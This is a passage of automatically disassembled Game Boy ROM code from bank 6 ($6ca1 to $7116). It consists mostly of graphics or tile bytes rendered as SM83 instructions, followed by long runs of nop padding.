xor [hl] ; $6ca1: $ae
ld sp, $8e40 ; $6ca2: $31 $40 $8e
or c ; $6ca5: $b1
ret nz ; $6ca6: $c0
sbc a ; $6ca7: $9f
add c ; $6ca8: $81
ld l, a ; $6ca9: $6f
xor [hl] ; $6caa: $ae
ld l, [hl] ; $6cab: $6e
ret nz ; $6cac: $c0
jr_006_6cad:
ret nz ; $6cad: $c0
nop ; $6cae: $00
nop ; $6caf: $00
adc d ; $6cb0: $8a
cp $c6 ; $6cb1: $fe $c6
ld a, [$fc84] ; $6cb3: $fa $84 $fc
adc h ; $6cb6: $8c
db $f4 ; $6cb7: $f4
ld [$90f8], sp ; $6cb8: $08 $f8 $90
ldh a, [$60] ; $6cbb: $f0 $60
ld h, b ; $6cbd: $60
nop ; $6cbe: $00
nop ; $6cbf: $00
nop ; $6cc0: $00
nop ; $6cc1: $00
nop ; $6cc2: $00
nop ; $6cc3: $00
ld bc, $0101 ; $6cc4: $01 $01 $01
ld bc, $0000 ; $6cc7: $01 $00 $00
jr_006_6cca:
nop ; $6cca: $00
nop ; $6ccb: $00
jr nc, jr_006_6cfe ; $6ccc: $30 $30
ld a, $2e ; $6cce: $3e $2e
nop ; $6cd0: $00
nop ; $6cd1: $00
nop ; $6cd2: $00
nop ; $6cd3: $00
add b ; $6cd4: $80
add b ; $6cd5: $80
db $e3 ; $6cd6: $e3
ld h, e ; $6cd7: $63
or $95 ; $6cd8: $f6 $95
ld d, h ; $6cda: $54
ld h, e ; $6cdb: $63
ld bc, $1c02 ; $6cdc: $01 $02 $1c
ld b, b ; $6cdf: $40
ld e, $10 ; $6ce0: $1e $10
ld [$050e], sp ; $6ce2: $08 $0e $05
inc b ; $6ce5: $04
nop ; $6ce6: $00
inc bc ; $6ce7: $03
inc c ; $6ce8: $0c
dec bc ; $6ce9: $0b
inc c ; $6cea: $0c
dec bc ; $6ceb: $0b
ld [$040f], sp ; $6cec: $08 $0f $04
dec b ; $6cef: $05
ld b, $04 ; $6cf0: $06 $04
ld b, $05 ; $6cf2: $06 $05
Call_006_6cf4:
dec c ; $6cf4: $0d
dec bc ; $6cf5: $0b
ld e, $16 ; $6cf6: $1e $16
jr jr_006_6d12 ; $6cf8: $18 $18
nop ; $6cfa: $00
nop ; $6cfb: $00
nop ; $6cfc: $00
nop ; $6cfd: $00
jr_006_6cfe:
nop ; $6cfe: $00
nop ; $6cff: $00
ld h, b ; $6d00: $60
xor [hl] ; $6d01: $ae
ld sp, $0e40 ; $6d02: $31 $40 $0e
ld sp, $5f40 ; $6d05: $31 $40 $5f
pop hl ; $6d08: $e1
xor a ; $6d09: $af
adc $ce ; $6d0a: $ce $ce
nop ; $6d0c: $00
nop ; $6d0d: $00
nop ; $6d0e: $00
nop ; $6d0f: $00
ld [hl+], a ; $6d10: $22
add b ; $6d11: $80
jr_006_6d12:
ld e, l ; $6d12: $5d
nop ; $6d13: $00
ld e, l ; $6d14: $5d
nop ; $6d15: $00
inc e ; $6d16: $1c
ld b, c ; $6d17: $41
nop ; $6d18: $00
and d ; $6d19: $a2
nop ; $6d1a: $00
call c, $c081 ; $6d1b: $dc $81 $c0
ld c, h ; $6d1e: $4c
jr_006_6d1f:
db $d3 ; $6d1f: $d3
nop ; $6d20: $00
inc bc ; $6d21: $03
ld [$1802], sp ; $6d22: $08 $02 $18
inc b ; $6d25: $04
jr nc, jr_006_6d2c ; $6d26: $30 $04
jr nz, jr_006_6d35 ; $6d28: $20 $0b
ld e, c ; $6d2a: $59
nop ; $6d2b: $00
jr_006_6d2c:
inc h ; $6d2c: $24
nop ; $6d2d: $00
jr nz, jr_006_6d30 ; $6d2e: $20 $00
jr_006_6d30:
nop ; $6d30: $00
ret nz ; $6d31: $c0
db $10 ; $6d32: $10
ld b, b ; $6d33: $40
sbc b ; $6d34: $98
jr_006_6d35:
jr nz, jr_006_6d43 ; $6d35: $20 $0c
jr nz, jr_006_6d3d ; $6d37: $20 $04
ret nc ; $6d39: $d0
sbc d ; $6d3a: $9a
nop ; $6d3b: $00
inc h ; $6d3c: $24
jr_006_6d3d:
nop ; $6d3d: $00
inc b ; $6d3e: $04
nop ; $6d3f: $00
db $fc ; $6d40: $fc
inc bc ; $6d41: $03
inc e ; $6d42: $1c
jr_006_6d43:
ld [bc], a ; $6d43: $02
ld bc, $0004 ; $6d44: $01 $04 $00
inc b ; $6d47: $04
nop ; $6d48: $00
dec bc ; $6d49: $0b
add hl, de ; $6d4a: $19
nop ; $6d4b: $00
inc h ; $6d4c: $24
nop ; $6d4d: $00
jr nz, jr_006_6d50 ; $6d4e: $20 $00
jr_006_6d50:
ccf ; $6d50: $3f
ret nz ; $6d51: $c0
jr c, jr_006_6d94 ; $6d52: $38 $40
nop ; $6d54: $00
jr nz, jr_006_6d57 ; $6d55: $20 $00
jr_006_6d57:
jr nz, jr_006_6d59 ; $6d57: $20 $00
jr_006_6d59:
ret nc ; $6d59: $d0
sbc b ; $6d5a: $98
nop ; $6d5b: $00
inc h ; $6d5c: $24
nop ; $6d5d: $00
inc b ; $6d5e: $04
nop ; $6d5f: $00
jr c, @+$40 ; $6d60: $38 $3e
ld a, b ; $6d62: $78
ld c, a ; $6d63: $4f
adc e ; $6d64: $8b
or $c6 ; $6d65: $f6 $c6
cp l ; $6d67: $bd
or $9d ; $6d68: $f6 $9d
xor $ab ; $6d6a: $ee $ab
rst $20 ; $6d6c: $e7
and e ; $6d6d: $a3
db $e4 ; $6d6e: $e4
and b ; $6d6f: $a0
ld e, $7e ; $6d70: $1e $7e
ld e, $f2 ; $6d72: $1e $f2
sub c ; $6d74: $91
rst $28 ; $6d75: $ef
jp $4f7d ; $6d76: $c3 $7d $4f
ld sp, hl ; $6d79: $f9
ld d, a ; $6d7a: $57
push af ; $6d7b: $f5
rst $20 ; $6d7c: $e7
push hl ; $6d7d: $e5
daa ; $6d7e: $27
dec b ; $6d7f: $05
rlca ; $6d80: $07
ld [$320d], sp ; $6d81: $08 $0d $32
ccf ; $6d84: $3f
ld b, b ; $6d85: $40
ld a, a ; $6d86: $7f
add b ; $6d87: $80
ld a, a ; $6d88: $7f
add a ; $6d89: $87
inc a ; $6d8a: $3c
ld c, [hl] ; $6d8b: $4e
ld [$000c], sp ; $6d8c: $08 $0c $00
inc b ; $6d8f: $04
ld [hl], b ; $6d90: $70
adc b ; $6d91: $88
sub b ; $6d92: $90
ld l, h ; $6d93: $6c
jr_006_6d94:
db $fc ; $6d94: $fc
ld [bc], a ; $6d95: $02
cp $01 ; $6d96: $fe $01
cp $e1 ; $6d98: $fe $e1
inc a ; $6d9a: $3c
ld [hl], d ; $6d9b: $72
db $10 ; $6d9c: $10
jr nc, jr_006_6d1f ; $6d9d: $30 $80
jr nz, @+$12 ; $6d9f: $20 $10
nop ; $6da1: $00
stop ; $6da2: $10 $00
stop ; $6da4: $10 $00
stop ; $6da6: $10 $00
stop ; $6da8: $10 $00
stop ; $6daa: $10 $00
ld d, d ; $6dac: $52
nop ; $6dad: $00
ld d, d ; $6dae: $52
nop ; $6daf: $00
jr c, jr_006_6df0 ; $6db0: $38 $3e
ld e, b ; $6db2: $58
ld l, a ; $6db3: $6f
ld l, c ; $6db4: $69
ld d, a ; $6db5: $57
ld h, e ; $6db6: $63
ld e, [hl] ; $6db7: $5e
inc sp ; $6db8: $33
ld l, $3f ; $6db9: $2e $3f
ld l, $1b ; $6dbb: $2e $1b
ld [de], a ; $6dbd: $12
add hl, de ; $6dbe: $19
db $10 ; $6dbf: $10
ld e, $7e ; $6dc0: $1e $7e
ld e, $f2 ; $6dc2: $1e $f2
sub c ; $6dc4: $91
ld l, a ; $6dc5: $6f
ld b, e ; $6dc6: $43
cp l ; $6dc7: $bd
ld c, a ; $6dc8: $4f
ld sp, hl ; $6dc9: $f9
ld d, a ; $6dca: $57
push af ; $6dcb: $f5
rst $20 ; $6dcc: $e7
push hl ; $6dcd: $e5
rlca ; $6dce: $07
dec b ; $6dcf: $05
jr_006_6dd0:
jr c, jr_006_6e10 ; $6dd0: $38 $3e
ld a, b ; $6dd2: $78
ld c, a ; $6dd3: $4f
adc c ; $6dd4: $89
rst $30 ; $6dd5: $f7
jp $f3be ; $6dd6: $c3 $be $f3
sbc [hl] ; $6dd9: $9e
rst $28 ; $6dda: $ef
xor [hl] ; $6ddb: $ae
db $e3 ; $6ddc: $e3
and d ; $6ddd: $a2
pop hl ; $6dde: $e1
and b ; $6ddf: $a0
jr jr_006_6e5a ; $6de0: $18 $78
inc e ; $6de2: $1c
db $f4 ; $6de3: $f4
sub d ; $6de4: $92
ld l, [hl] ; $6de5: $6e
ld c, [hl] ; $6de6: $4e
or d ; $6de7: $b2
ld c, [hl] ; $6de8: $4e
ld a, [$f45c] ; $6de9: $fa $5c $f4
db $fc ; $6dec: $fc
db $f4 ; $6ded: $f4
jr c, jr_006_6e18 ; $6dee: $38 $28
jr_006_6df0:
nop ; $6df0: $00
nop ; $6df1: $00
nop ; $6df2: $00
nop ; $6df3: $00
ld bc, $0301 ; $6df4: $01 $01 $03
ld [bc], a ; $6df7: $02
ld a, a ; $6df8: $7f
ld a, h ; $6df9: $7c
ei ; $6dfa: $fb
add h ; $6dfb: $84
ld [hl], a ; $6dfc: $77
ld l, b ; $6dfd: $68
rra ; $6dfe: $1f
db $10 ; $6dff: $10
ld c, $0e ; $6e00: $0e $0e
ld l, a ; $6e02: $6f
ld [hl], c ; $6e03: $71
ldh a, [$80] ; $6e04: $f0 $80
ret nz ; $6e06: $c0
jr nz, jr_006_6dd0 ; $6e07: $20 $c7
daa ; $6e09: $27
adc a ; $6e0a: $8f
ld c, h ; $6e0b: $4c
adc c ; $6e0c: $89
ld l, a ; $6e0d: $6f
add [hl] ; $6e0e: $86
ld [hl], a ; $6e0f: $77
jr_006_6e10:
nop ; $6e10: $00
nop ; $6e11: $00
nop ; $6e12: $00
nop ; $6e13: $00
nop ; $6e14: $00
nop ; $6e15: $00
nop ; $6e16: $00
nop ; $6e17: $00
jr_006_6e18:
nop ; $6e18: $00
nop ; $6e19: $00
ldh [$e0], a ; $6e1a: $e0 $e0
ld [hl], b ; $6e1c: $70
sub b ; $6e1d: $90
jr jr_006_6e18 ; $6e1e: $18 $f8
dec e ; $6e20: $1d
db $10 ; $6e21: $10
ld hl, sp-$20 ; $6e22: $f8 $e0
ld a, [$e800] ; $6e24: $fa $00 $e8
ret nc ; $6e27: $d0
add hl, sp ; $6e28: $39
jr nz, jr_006_6e68 ; $6e29: $20 $3d
jr nz, jr_006_6e6c ; $6e2b: $20 $3f
jr nz, jr_006_6e4e ; $6e2d: $20 $1f
db $10 ; $6e2f: $10
pop bc ; $6e30: $c1
add hl, sp ; $6e31: $39
ldh a, [$0e] ; $6e32: $f0 $0e
rst $38 ; $6e34: $ff
nop ; $6e35: $00
ldh [rNR23], a ; $6e36: $e0 $18
jp $8c23 ; $6e38: $c3 $23 $8c
ld l, a ; $6e3b: $6f
sub h ; $6e3c: $94
ld e, [hl] ; $6e3d: $5e
dec d ; $6e3e: $15
call c, $e43c ; $6e3f: $dc $3c $e4
ld b, [hl] ; $6e42: $46
ld a, d ; $6e43: $7a
adc h ; $6e44: $8c
inc a ; $6e45: $3c
ld d, $7a ; $6e46: $16 $7a
add e ; $6e48: $83
sbc l ; $6e49: $9d
ld h, c ; $6e4a: $61
rrca ; $6e4b: $0f
add c ; $6e4c: $81
ld a, a ; $6e4d: $7f
jr_006_6e4e:
dec b ; $6e4e: $05
rst $38 ; $6e4f: $ff
ld a, a ; $6e50: $7f
ld h, b ; $6e51: $60
ld [hl], a ; $6e52: $77
ld [$787f], sp ; $6e53: $08 $7f $78
rlca ; $6e56: $07
inc b ; $6e57: $04
inc bc ; $6e58: $03
ld [bc], a ; $6e59: $02
jr_006_6e5a:
ld bc, $0001 ; $6e5a: $01 $01 $00
nop ; $6e5d: $00
nop ; $6e5e: $00
nop ; $6e5f: $00
dec b ; $6e60: $05
call c, $d912 ; $6e61: $dc $12 $d9
ld a, [de] ; $6e64: $1a
reti ; $6e65: $d9
sub b ; $6e66: $90
ld e, e ; $6e67: $5b
jr_006_6e68:
jp nz, $e703 ; $6e68: $c2 $03 $e7
add c ; $6e6b: $81
jr_006_6e6c:
ld l, l ; $6e6c: $6d
jr_006_6e6d:
ld h, b ; $6e6d: $60
add hl, bc ; $6e6e: $09
nop ; $6e6f: $00
dec c ; $6e70: $0d
rst $38 ; $6e71: $ff
ld [hl-], a ; $6e72: $32
or $14 ; $6e73: $f6 $14
db $f4 ; $6e75: $f4
ld [$08f8], sp ; $6e76: $08 $f8 $08
ld hl, sp-$18 ; $6e79: $f8 $e8
jr c, jr_006_6e6d ; $6e7b: $38 $f0
stop ; $6e7d: $10 $00
nop ; $6e7f: $00
pop bc ; $6e80: $c1
add hl, sp ; $6e81: $39
ldh a, [$0e] ; $6e82: $f0 $0e
rst $38 ; $6e84: $ff
nop ; $6e85: $00
ldh [rNR23], a ; $6e86: $e0 $18
jp $8422 ; $6e88: $c3 $22 $84
ld h, a ; $6e8b: $67
sbc b ; $6e8c: $98
ld e, a ; $6e8d: $5f
inc e ; $6e8e: $1c
add a ; $6e8f: $87
inc a ; $6e90: $3c
db $e4 ; $6e91: $e4
ld b, [hl] ; $6e92: $46
ld a, d ; $6e93: $7a
adc h ; $6e94: $8c
inc a ; $6e95: $3c
ld d, $1a ; $6e96: $16 $1a
jp Jump_000_210d ; $6e98: $c3 $0d $21
rst $08 ; $6e9b: $cf
ld b, c ; $6e9c: $41
rst $38 ; $6e9d: $ff
push bc ; $6e9e: $c5
rst $38 ; $6e9f: $ff
ld a, $b3 ; $6ea0: $3e $b3
ld a, h ; $6ea2: $7c
rst $08 ; $6ea3: $cf
ei ; $6ea4: $fb
xor a ; $6ea5: $af
ld e, b ; $6ea6: $58
rst $18 ; $6ea7: $df
add a ; $6ea8: $87
rlca ; $6ea9: $07
ldh [$80], a ; $6eaa: $e0 $80
ld h, b ; $6eac: $60
ld h, b ; $6ead: $60
nop ; $6eae: $00
nop ; $6eaf: $00
ld l, l ; $6eb0: $6d
rst $38 ; $6eb1: $ff
ld [hl+], a ; $6eb2: $22
and $24 ; $6eb3: $e6 $24
db $e4 ; $6eb5: $e4
ld b, b ; $6eb6: $40
ret nz ; $6eb7: $c0
add b ; $6eb8: $80
add b ; $6eb9: $80
nop ; $6eba: $00
nop ; $6ebb: $00
nop ; $6ebc: $00
nop ; $6ebd: $00
nop ; $6ebe: $00
nop ; $6ebf: $00
ld a, $b3 ; $6ec0: $3e $b3
ld a, h ; $6ec2: $7c
rst $08 ; $6ec3: $cf
ei ; $6ec4: $fb
xor a ; $6ec5: $af
ld e, b ; $6ec6: $58
rst $18 ; $6ec7: $df
add a ; $6ec8: $87
rlca ; $6ec9: $07
xor $89 ; $6eca: $ee $89
ld a, a ; $6ecc: $7f
ld [hl], b ; $6ecd: $70
rra ; $6ece: $1f
rra ; $6ecf: $1f
ld l, l ; $6ed0: $6d
rst $38 ; $6ed1: $ff
ld [hl-], a ; $6ed2: $32
or $2c ; $6ed3: $f6 $2c
db $fc ; $6ed5: $fc
ld l, b ; $6ed6: $68
ld hl, sp-$3c ; $6ed7: $f8 $c4
db $fc ; $6ed9: $fc
inc b ; $6eda: $04
db $fc ; $6edb: $fc
adc b ; $6edc: $88
ld hl, sp-$10 ; $6edd: $f8 $f0
ldh a, [rP1] ; $6edf: $f0 $00
nop ; $6ee1: $00
nop ; $6ee2: $00
nop ; $6ee3: $00
jr jr_006_6efe ; $6ee4: $18 $18
inc a ; $6ee6: $3c
inc h ; $6ee7: $24
ld a, [hl] ; $6ee8: $7e
ld b, d ; $6ee9: $42
ld a, [hl] ; $6eea: $7e
ld b, d ; $6eeb: $42
db $fc ; $6eec: $fc
add h ; $6eed: $84
db $fc ; $6eee: $fc
add h ; $6eef: $84
nop ; $6ef0: $00
nop ; $6ef1: $00
nop ; $6ef2: $00
nop ; $6ef3: $00
nop ; $6ef4: $00
nop ; $6ef5: $00
nop ; $6ef6: $00
ld b, h ; $6ef7: $44
jr z, jr_006_6efa ; $6ef8: $28 $00
jr_006_6efa:
stop ; $6efa: $10 $00
stop ; $6efc: $10 $00
jr_006_6efe:
ld de, $3010 ; $6efe: $11 $10 $30
jr nc, @+$7a ; $6f01: $30 $78
ld c, b ; $6f03: $48
db $fc ; $6f04: $fc
add h ; $6f05: $84
cp $82 ; $6f06: $fe $82
ld a, [hl] ; $6f08: $7e
ld b, d ; $6f09: $42
rra ; $6f0a: $1f
ld h, c ; $6f0b: $61
sbc a ; $6f0c: $9f
ld hl, $d10f ; $6f0d: $21 $0f $d1
di ; $6f10: $f3
adc b ; $6f11: $88
ld hl, sp-$71 ; $6f12: $f8 $8f
ldh a, [$8b] ; $6f14: $f0 $8b
db $fd ; $6f16: $fd
add a ; $6f17: $87
ld a, [hl] ; $6f18: $7e
ld b, e ; $6f19: $43
ld a, h ; $6f1a: $7c
ld b, c ; $6f1b: $41
dec a ; $6f1c: $3d
inc h ; $6f1d: $24
jr jr_006_6f38 ; $6f1e: $18 $18
ld a, d ; $6f20: $7a
rst $00 ; $6f21: $c7
jp $9181 ; $6f22: $c3 $81 $91
nop ; $6f25: $00
add b ; $6f26: $80
ld bc, $c300 ; $6f27: $01 $00 $c3
nop ; $6f2a: $00
inc a ; $6f2b: $3c
add c ; $6f2c: $81
nop ; $6f2d: $00
add c ; $6f2e: $81
nop ; $6f2f: $00
rrca ; $6f30: $0f
pop de ; $6f31: $d1
ld e, a ; $6f32: $5f
pop af ; $6f33: $f1
adc a ; $6f34: $8f
sub c ; $6f35: $91
cp a ; $6f36: $bf
pop hl ; $6f37: $e1
jr_006_6f38:
ld a, $e2 ; $6f38: $3e $e2
inc e ; $6f3a: $1c
sbc h ; $6f3b: $9c
add b ; $6f3c: $80
nop ; $6f3d: $00
nop ; $6f3e: $00
nop ; $6f3f: $00
nop ; $6f40: $00
nop ; $6f41: $00
nop ; $6f42: $00
nop ; $6f43: $00
nop ; $6f44: $00
nop ; $6f45: $00
jr_006_6f46:
ld [$1c08], sp ; $6f46: $08 $08 $1c
inc d ; $6f49: $14
inc e ; $6f4a: $1c
inc d ; $6f4b: $14
inc e ; $6f4c: $1c
inc d ; $6f4d: $14
ld a, a ; $6f4e: $7f
ld [hl], a ; $6f4f: $77
add e ; $6f50: $83
add e ; $6f51: $83
rst $00 ; $6f52: $c7
ld b, h ; $6f53: $44
rst $38 ; $6f54: $ff
cp h ; $6f55: $bc
rst $28 ; $6f56: $ef
sub [hl] ; $6f57: $96
ld [hl], a ; $6f58: $77
ld c, d ; $6f59: $4a
ld c, a ; $6f5a: $4f
ld [hl], c ; $6f5b: $71
ld a, [hl] ; $6f5c: $7e
ld h, b ; $6f5d: $60
ld a, l ; $6f5e: $7d
ld b, e ; $6f5f: $43
rst $18 ; $6f60: $df
jr nz, jr_006_6f46 ; $6f61: $20 $e3
inc e ; $6f63: $1c
rst $38 ; $6f64: $ff
nop ; $6f65: $00
rst $38 ; $6f66: $ff
nop ; $6f67: $00
add c ; $6f68: $81
ld b, d ; $6f69: $42
add b ; $6f6a: $80
sbc b ; $6f6b: $98
inc e ; $6f6c: $1c
ld h, d ; $6f6d: $62
ld [hl+], a ; $6f6e: $22
pop bc ; $6f6f: $c1
pop bc ; $6f70: $c1
pop bc ; $6f71: $c1
db $e3 ; $6f72: $e3
ld [hl+], a ; $6f73: $22
rst $38 ; $6f74: $ff
dec e ; $6f75: $1d
rst $38 ; $6f76: $ff
ld hl, $4af6 ; $6f77: $21 $f6 $4a
ld a, [$7c86] ; $6f7a: $fa $86 $7c
ld b, h ; $6f7d: $44
ld a, [hl] ; $6f7e: $7e
jp nz, Jump_006_477b ; $6f7f: $c2 $7b $47
ld a, [hl] ; $6f82: $7e
ld b, [hl] ; $6f83: $46
ld a, e ; $6f84: $7b
ld c, d ; $6f85: $4a
inc a ; $6f86: $3c
cpl ; $6f87: $2f
jr @+$21 ; $6f88: $18 $1f
dec c ; $6f8a: $0d
ld a, [bc] ; $6f8b: $0a
rrca ; $6f8c: $0f
add hl, bc ; $6f8d: $09
rlca ; $6f8e: $07
dec b ; $6f8f: $05
ld [$0041], sp ; $6f90: $08 $41 $00
ld b, c ; $6f93: $41
nop ; $6f94: $00
db $e3 ; $6f95: $e3
ld h, c ; $6f96: $61
rst $38 ; $6f97: $ff
ld a, [hl] ; $6f98: $7e
rst $38 ; $6f99: $ff
pop af ; $6f9a: $f1
rst $38 ; $6f9b: $ff
dec de ; $6f9c: $1b
dec [hl] ; $6f9d: $35
cpl ; $6f9e: $2f
Jump_006_6f9f:
dec bc ; $6f9f: $0b
ld e, [hl] ; $6fa0: $5e
ld h, d ; $6fa1: $62
jr_006_6fa2:
ld l, $32 ; $6fa2: $2e $32
sbc $52 ; $6fa4: $de $52
ld a, h ; $6fa6: $7c
or h ; $6fa7: $b4
jr jr_006_6fa2 ; $6fa8: $18 $f8
or b ; $6faa: $b0
ld d, b ; $6fab: $50
ldh a, [$90] ; $6fac: $f0 $90
ldh [$a0], a ; $6fae: $e0 $a0
ld a, e ; $6fb0: $7b
ld b, a ; $6fb1: $47
ld a, [hl] ; $6fb2: $7e
ld b, [hl] ; $6fb3: $46
ld a, h ; $6fb4: $7c
ld c, h ; $6fb5: $4c
add hl, sp ; $6fb6: $39
add hl, hl ; $6fb7: $29
add hl, de ; $6fb8: $19
add hl, de ; $6fb9: $19
inc bc ; $6fba: $03
ld [bc], a ; $6fbb: $02
ld [bc], a ; $6fbc: $02
inc bc ; $6fbd: $03
jr_006_6fbe:
ld [bc], a ; $6fbe: $02
inc bc ; $6fbf: $03
adc b ; $6fc0: $88
pop bc ; $6fc1: $c1
add b ; $6fc2: $80
pop bc ; $6fc3: $c1
add b ; $6fc4: $80
db $e3 ; $6fc5: $e3
ld h, c ; $6fc6: $61
rst $38 ; $6fc7: $ff
ld a, [hl] ; $6fc8: $7e
rst $38 ; $6fc9: $ff
ld [hl], $fb ; $6fca: $36 $fb
ld [hl+], a ; $6fcc: $22
rst $38 ; $6fcd: $ff
ld [hl+], a ; $6fce: $22
rst $38 ; $6fcf: $ff
sbc $e2 ; $6fd0: $de $e2
xor [hl] ; $6fd2: $ae
or d ; $6fd3: $b2
sbc [hl] ; $6fd4: $9e
sub d ; $6fd5: $92
ld e, h ; $6fd6: $5c
call nc, $c848 ; $6fd7: $d4 $48 $c8
ld h, b ; $6fda: $60
and b ; $6fdb: $a0
jr nz, jr_006_6fbe ; $6fdc: $20 $e0
nop ; $6fde: $00
ret nz ; $6fdf: $c0
ld [bc], a ; $6fe0: $02
rra ; $6fe1: $1f
ld d, $0b ; $6fe2: $16 $0b
add hl, de ; $6fe4: $19
nop ; $6fe5: $00
ld [$0000], sp ; $6fe6: $08 $00 $00
nop ; $6fe9: $00
nop ; $6fea: $00
nop ; $6feb: $00
nop ; $6fec: $00
nop ; $6fed: $00
jr_006_6fee:
nop ; $6fee: $00
nop ; $6fef: $00
jr nz, jr_006_6fee ; $6ff0: $20 $fc
inc [hl] ; $6ff2: $34
add sp, $4c ; $6ff3: $e8 $4c
add b ; $6ff5: $80
ret z ; $6ff6: $c8
nop ; $6ff7: $00
add b ; $6ff8: $80
nop ; $6ff9: $00
nop ; $6ffa: $00
nop ; $6ffb: $00
nop ; $6ffc: $00
nop ; $6ffd: $00
nop ; $6ffe: $00
nop ; $6fff: $00
nop ; $7000: $00
nop ; $7001: $00
nop ; $7002: $00
nop ; $7003: $00
nop ; $7004: $00
nop ; $7005: $00
nop ; $7006: $00
nop ; $7007: $00
nop ; $7008: $00
nop ; $7009: $00
nop ; $700a: $00
nop ; $700b: $00
nop ; $700c: $00
nop ; $700d: $00
nop ; $700e: $00
nop ; $700f: $00
nop ; $7010: $00
nop ; $7011: $00
nop ; $7012: $00
nop ; $7013: $00
nop ; $7014: $00
nop ; $7015: $00
nop ; $7016: $00
nop ; $7017: $00
nop ; $7018: $00
nop ; $7019: $00
nop ; $701a: $00
nop ; $701b: $00
nop ; $701c: $00
nop ; $701d: $00
nop ; $701e: $00
nop ; $701f: $00
nop ; $7020: $00
nop ; $7021: $00
nop ; $7022: $00
nop ; $7023: $00
nop ; $7024: $00
nop ; $7025: $00
nop ; $7026: $00
nop ; $7027: $00
nop ; $7028: $00
nop ; $7029: $00
nop ; $702a: $00
nop ; $702b: $00
nop ; $702c: $00
nop ; $702d: $00
nop ; $702e: $00
nop ; $702f: $00
nop ; $7030: $00
nop ; $7031: $00
nop ; $7032: $00
nop ; $7033: $00
nop ; $7034: $00
nop ; $7035: $00
nop ; $7036: $00
nop ; $7037: $00
nop ; $7038: $00
nop ; $7039: $00
nop ; $703a: $00
nop ; $703b: $00
nop ; $703c: $00
nop ; $703d: $00
nop ; $703e: $00
nop ; $703f: $00
nop ; $7040: $00
nop ; $7041: $00
nop ; $7042: $00
nop ; $7043: $00
nop ; $7044: $00
nop ; $7045: $00
nop ; $7046: $00
nop ; $7047: $00
nop ; $7048: $00
nop ; $7049: $00
nop ; $704a: $00
nop ; $704b: $00
nop ; $704c: $00
nop ; $704d: $00
nop ; $704e: $00
nop ; $704f: $00
nop ; $7050: $00
nop ; $7051: $00
nop ; $7052: $00
nop ; $7053: $00
nop ; $7054: $00
nop ; $7055: $00
nop ; $7056: $00
nop ; $7057: $00
nop ; $7058: $00
nop ; $7059: $00
nop ; $705a: $00
nop ; $705b: $00
nop ; $705c: $00
nop ; $705d: $00
nop ; $705e: $00
nop ; $705f: $00
nop ; $7060: $00
rst $38 ; $7061: $ff
ld e, $21 ; $7062: $1e $21
ld hl, $0840 ; $7064: $21 $40 $08
ret nz ; $7067: $c0
nop ; $7068: $00
ret nz ; $7069: $c0
nop ; $706a: $00
ret nz ; $706b: $c0
and c ; $706c: $a1
pop hl ; $706d: $e1
ld e, [hl] ; $706e: $5e
ld a, a ; $706f: $7f
nop ; $7070: $00
ret nz ; $7071: $c0
ccf ; $7072: $3f
cp a ; $7073: $bf
nop ; $7074: $00
rst $18 ; $7075: $df
add a ; $7076: $87
ld l, b ; $7077: $68
add b ; $7078: $80
ld l, a ; $7079: $6f
add b ; $707a: $80
ld l, a ; $707b: $6f
nop ; $707c: $00
rst $18 ; $707d: $df
ccf ; $707e: $3f
cp a ; $707f: $bf
nop ; $7080: $00
nop ; $7081: $00
db $fc ; $7082: $fc
db $fc ; $7083: $fc
ld [bc], a ; $7084: $02
cp $f9 ; $7085: $fe $f9
rlca ; $7087: $07
dec b ; $7088: $05
ei ; $7089: $fb
ld bc, $02ff ; $708a: $01 $ff $02
cp $fc ; $708d: $fe $fc
db $fc ; $708f: $fc
and $1e ; $7090: $e6 $1e
ld bc, $f027 ; $7092: $01 $27 $f0
ld a, [bc] ; $7095: $0a
ld bc, $3814 ; $7096: $01 $14 $38
ld bc, $02c0 ; $7099: $01 $c0 $02
ld [de], a ; $709c: $12
nop ; $709d: $00
inc h ; $709e: $24
nop ; $709f: $00
nop ; $70a0: $00
ret nz ; $70a1: $c0
nop ; $70a2: $00
add b ; $70a3: $80
jr_006_70a4:
nop ; $70a4: $00
ret nz ; $70a5: $c0
add b ; $70a6: $80
ld h, b ; $70a7: $60
sbc b ; $70a8: $98
ld a, b ; $70a9: $78
sub h ; $70aa: $94
ld a, h ; $70ab: $7c
ld [de], a ; $70ac: $12
sbc $2d ; $70ad: $de $2d
or e ; $70af: $b3
ld b, $39 ; $70b0: $06 $39
ld b, e ; $70b2: $43
ld a, h ; $70b3: $7c
ld hl, $103e ; $70b4: $21 $3e $10
rra ; $70b7: $1f
ld [$040f], sp ; $70b8: $08 $0f $04
rlca ; $70bb: $07
ld [bc], a ; $70bc: $02
inc bc ; $70bd: $03
ld bc, $8001 ; $70be: $01 $01 $80
add b ; $70c1: $80
ld b, b ; $70c2: $40
ret nz ; $70c3: $c0
and b ; $70c4: $a0
ld h, b ; $70c5: $60
ret nc ; $70c6: $d0
jr nc, jr_006_7131 ; $70c7: $30 $68
sbc b ; $70c9: $98
jr z, jr_006_70a4 ; $70ca: $28 $d8
ld [$10f8], sp ; $70cc: $08 $f8 $10
ldh a, [rP1] ; $70cf: $f0 $00
ret nz ; $70d1: $c0
nop ; $70d2: $00
add b ; $70d3: $80
nop ; $70d4: $00
ret nz ; $70d5: $c0
add b ; $70d6: $80
ld h, b ; $70d7: $60
sub b ; $70d8: $90
ld [hl], b ; $70d9: $70
sbc b ; $70da: $98
ld a, b ; $70db: $78
inc d ; $70dc: $14
call c, $be22 ; $70dd: $dc $22 $be
ld c, d ; $70e0: $4a
db $76 ; $70e1: $76
adc d ; $70e2: $8a
or $8a ; $70e3: $f6 $8a
or $8a ; $70e5: $f6 $8a
or $8a ; $70e7: $f6 $8a
or $8a ; $70e9: $f6 $8a
or $8a ; $70eb: $f6 $8a
or $8a ; $70ed: $f6 $8a
or $8a ; $70ef: $f6 $8a
or $92 ; $70f1: $f6 $92
xor $44 ; $70f3: $ee $44
ld a, h ; $70f5: $7c
jr c, jr_006_7130 ; $70f6: $38 $38
nop ; $70f8: $00
nop ; $70f9: $00
nop ; $70fa: $00
jr_006_70fb:
nop ; $70fb: $00
nop ; $70fc: $00
nop ; $70fd: $00
nop ; $70fe: $00
nop ; $70ff: $00
nop ; $7100: $00
nop ; $7101: $00
nop ; $7102: $00
nop ; $7103: $00
nop ; $7104: $00
nop ; $7105: $00
nop ; $7106: $00
nop ; $7107: $00
nop ; $7108: $00
nop ; $7109: $00
nop ; $710a: $00
nop ; $710b: $00
nop ; $710c: $00
jr_006_710d:
nop ; $710d: $00
nop ; $710e: $00
jr_006_710f:
nop ; $710f: $00
nop ; $7110: $00
nop ; $7111: $00
nop ; $7112: $00
nop ; $7113: $00
nop ; $7114: $00
nop ; $7115: $00
nop ; $7116: $00
